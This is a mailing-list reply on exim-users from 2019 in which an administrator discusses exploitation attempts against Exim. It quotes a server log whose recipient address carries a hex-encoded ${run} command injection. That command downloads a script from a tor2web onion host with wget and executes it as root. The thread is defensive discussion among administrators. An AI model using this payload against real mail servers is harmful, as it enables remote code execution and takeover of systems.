Hello, Thomas Hager via Exim-users <exim-users@exim.org> (Fr 21 Jun 2019 21:26:11 CEST): > > 2019-06-20 15:13:33 Received from <> H=(<zensored>.de) > > [89.248.171.57] P=smtp S=1114 > > 2019-06-20 15:13:33 routing failed for > > root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dchec > > k\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2fan7kmd2wp4xo7hpr\ > > x2etor2web\x2eio\x2fsrc\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ejvgon\x > > 20\x26\x26\x20sh\x20\x2froot\x2f\x2ejvgon\x20\x2dn\x20\x26\x22}}@<zen > > sored>.de: Too many "Received" headers - suspected mail loop
As Andreas M pointed out, the logs are the same, independently of an successfull attack. (Though a wise attacker would remove the log lines.) It *seems* that the attackers test for the Exim version in the SMTP banner. In servers having 4.92 I do not see as many attempts as on 4.87->4.91. But there may be other things influencing this. Best regards from Dresden/Germany Viele Grüße aus Dresden Heiko Schlittermann -- SCHLITTERMANN.de ---------------------------- internet & unix support - Heiko Schlittermann, Dipl.-Ing. (TU) - {fon,fax}: +49.351.802998{1,3} - gnupg encrypted messages are welcome --------------- key ID: F69376CE - ! key id 7CBF764A and 972EAC9F are revoked since 2015-01 ------------ -
signature.asc
Description: PGP signature
-- ## List details at https://lists.exim.org/mailman/listinfo/exim-users ## Exim details at http://www.exim.org/ ## Please use the Wiki with this list - http://wiki.exim.org/